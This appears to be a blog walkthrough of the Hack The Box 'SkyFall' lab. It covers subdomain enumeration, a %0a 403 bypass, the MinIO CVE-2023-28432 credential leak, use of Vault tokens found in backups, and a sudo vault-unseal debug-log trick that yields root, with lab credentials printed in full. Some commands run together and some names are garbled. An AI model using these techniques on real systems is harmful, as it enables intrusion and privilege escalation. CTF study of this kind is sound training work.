In this post, Let’s see how to CTF SkyFall from HTB, If you have any doubts comment down below 👇🏾
Hacking Phases in SkyFall
- Add IP to /etc/hosts
- Nmap Scan
- Site Enumeration
- Credential Harvest
- User Enumeration
- Privilege Escalation
Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on youtube.
Let’s Hack Skyfall HTB 😌
Add IP to /etc/hosts
Add domain skyfall.htb to /etc/hosts
sudo nano /etc/hosts
Let’s do a Nmap Scan
nmap -A 10.10.11.254 -Pn
Let’s also do a subdomain enumeration, We can use Gobuster to discover subdomains.
gobuster dns -d skyfall.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 20
We discovered a subdomain, demo.skyfall.htb, which appears to be listed in the host file.
We can use the default credentials to log in.
On the left panel, we can see Min10 Metrics. When we attempt to access Min10 Metrics, it shows a 403 forbidden error. So, I bypassed it by adding %0a at the end of the URL.
We can see a URL at the endpoint.
Please add “prd23-s3-backend.skyfall.htb” to the /etc/hosts file. We’ve identified a vulnerability, CVE-2023–28432, and there’s a GitHub Proof of Concept (PoC) available.
We need to test this “Information Leak Vulnerability” regarding Minio. With this vulnerability, it’s possible to discover some credentials related to Minio. Use BurpSuite to intercept and retrieve the credentials.
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww" "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0"
To install the Min10 client, now let’s execute the Min10 client.
./mc alias set myminio http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
Let’s check for files.
./mc ls -r --versions myminio
Here we can find some backup files with the .gz extension. I attempted to download those files and decompress them.
./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/home_backup.tar.gz .
tar -xzvf home_backup.tar.gz
Upon further enumeration of files with the .gz extension, we found these.
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
To install Vault, add “prd23-vault-internal.skyfall.htb” to the /etc/hosts file. Then, run the command as follows.
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
Firstly, import the configuration file into Vault, and then verify that the token value is valid.
To obtain user access, execute the following code. An OTP will be generated, and use the OTP as the password for the SSH connection.
./vault ssh -role dev_otp_key_role -mode otp firstname.lastname@example.org
I executed root/vault/vault-unseal -c /etc/vault-unseal.yaml
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v
We observed that a master token is being generated. We need to copy that to a log file. Therefore, we need to create a .log file in the current directory.
chown askyy:askyy debug.log ls -la
Grant the user’s claim permissions to access debug.log.
Now the debug.log file can be written to by askyy. Please execute the following command.
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d -v /home/askyy/debug.log
The master token has been written to the debug.log file. Please read the debug.log file.
Now we are successfully connected to Vault. We can attempt to log in as the user askyy using the same method as before.
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
To gain root access, execute the following code. An OTP will be generated, and use the OTP as the password for the SSH connection.
./vault ssh -role admin_otp_key_role -mode otp email@example.com
In conclusion, the Skyfall box presented a series of challenges and vulnerabilities to navigate through, including subdomain discovery, exploitation of CVEs, and leveraging tools like Vault for access management.
Through enumeration, exploitation, and careful manipulation of configurations, various levels of access were achieved, showcasing the importance of thorough reconnaissance and exploitation techniques in penetration testing scenarios.